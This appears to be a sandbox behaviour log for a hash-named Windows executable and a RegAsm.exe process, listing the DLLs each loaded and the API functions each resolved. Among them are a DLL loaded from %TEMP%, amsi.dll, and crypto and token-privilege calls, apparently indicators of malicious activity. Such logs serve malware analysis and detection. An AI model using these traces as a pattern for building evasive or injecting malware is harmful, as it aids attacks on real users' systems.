"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %TEMP%\Protect544cd51a.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\ntdll.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\diasymreader.dll (UID: 00000000-00005956) "RegAsm.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0\clr.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L2-1-0.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00004108) "RegAsm.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00004108)30:Tf066,"a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CryptDecrypt (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreateMutex (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreateMutexW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter SetSecurityInfo (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00005956) "a939923a67e6c9d0ba120381e2bc5323ea80527e333d977366c2a5669a995e13.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00005956) 